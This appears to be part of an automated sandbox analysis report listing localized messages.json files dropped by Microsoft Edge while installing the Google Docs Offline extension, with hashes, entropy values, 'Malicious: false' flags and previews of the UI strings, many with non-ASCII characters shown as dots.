Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
